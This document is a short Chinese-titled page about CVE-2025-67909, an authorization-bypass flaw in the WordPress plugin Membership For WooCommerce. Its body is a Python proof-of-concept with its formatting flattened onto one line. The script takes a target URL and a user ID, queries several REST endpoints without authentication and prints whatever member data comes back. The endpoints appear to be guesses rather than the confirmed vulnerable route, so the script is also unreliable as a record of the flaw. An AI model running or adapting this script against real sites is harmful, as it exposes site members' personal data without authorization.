CVE-2025-67909 WordPress Membership For WooCommerce插件授权绕过漏洞

import requests import sys # CVE-2025-67909 PoC - IDOR vulnerability in Membership For WooCommerce # Target: WordPress site with Membership For WooCommerce plugin <= 3.0.3 def exploit_idor_vulnerability(target_url, user_id): """ Exploits the IDOR vulnerability in Membership For WooCommerce plugin. This PoC demonstrates unauthorized access to user membership data. Args: target_url: Base URL of the WordPress site user_id: Target user ID to access (integer) Returns: Response containing user membership data """ # Common endpoints for membership data access endpoints = [ f'{target_url}/wp-json/membership/v1/members/{user_id}', f'{target_url}/?rest_route=/membership/v1/members/{user_id}', f'{target_url}/wp-json/wp/v2/users/{user_id}', ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f'[+] Successfully accessed user {user_id} via {endpoint}') print(f'Response: {response.text}') return response elif response.status_code == 401: print(f'[-] Endpoint {endpoint} requires authentication') else: print(f'[*] Endpoint {endpoint} returned status {response.status_code}') except requests.RequestException as e: print(f'[-] Error accessing {endpoint}: {str(e)}') return None def main(): if len(sys.argv) < 3: print('Usage: python cve-2025-67909-poc.py <target_url> <user_id>') print('Example: python cve-2025-67909-poc.py https://example.com 1') sys.exit(1) target_url = sys.argv[1] user_id = int(sys.argv[2]) print(f'[*] Testing CVE-2025-67909 on {target_url}') print(f'[*] Target user ID: {user_id}') exploit_idor_vulnerability(target_url, user_id) if __name__ == '__main__': main()